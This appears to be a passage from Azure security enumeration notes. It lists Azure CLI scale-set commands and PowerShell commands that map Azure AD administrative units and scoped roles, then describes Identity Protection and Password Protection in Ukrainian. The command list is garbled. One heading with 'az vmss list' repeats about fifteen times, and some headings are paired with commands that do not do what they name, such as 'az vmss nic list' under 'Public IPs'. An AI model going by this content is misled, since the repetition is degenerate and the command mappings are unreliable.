    az vmss get-instance-view
  • List Virtual Machine Scale Set VM NICs

    az vmss nic list
  • List Virtual Machine Scale Set VM Public IPs

    az vmss nic list
  • List Virtual Machine Scale Set VM Custom Images

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
  • List Virtual Machine Scale Set VM Custom Image Versions

    az vmss list
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Захист ідентичності Azure AD (AIP)

Захист ідентичності Azure AD (AIP) - це служба безпеки, яка використовує автоматизоване виявлення та усунення для захисту ідентичностей користувачів в Azure Active Directory від компрометації. AIP постійно моніторить та оцінює ризики увіходів користувачів та конфігурацій ідентичності, автоматично застосовуючи відповідні заходи безпеки, такі як вимога багатофакторної аутентифікації або блокування потенційно небезпечних дій. Це допомагає організаціям запобігати порушенням безпеки на основі ідентичності.

Потік:

  1. Захист ідентичності Azure AD моніторить діяльність користувачів та збирає дані про увіходи користувачів, події аутентифікації та інші відповідні дії.

  2. Служба використовує алгоритми машинного навчання для аналізу цих даних та виявлення потенційних загроз безпеці.

  3. Захист ідентичності Azure AD призначає рівень ризику загрози (наприклад, увіхід) та генерує сповіщення, якщо потрібно виконати яку-небудь автоматичну дію.

Захист паролів Azure AD (APP)

Захист паролів Azure AD (APP) - це функція безпеки, яка допомагає запобігти використанню слабких паролів в Azure Active Directory, застосовуючи строгі політики паролів. APP блокує часто використовувані слабкі паролі та їх варіанти, зменшуючи ризик порушень, пов'язаних з паролями. Це може бути застосовано як на рівні хмари, так і в локальному каталозі Active Directory, підвищуючи загальний рівень безпеки паролів в організації.

Посилання

Last updated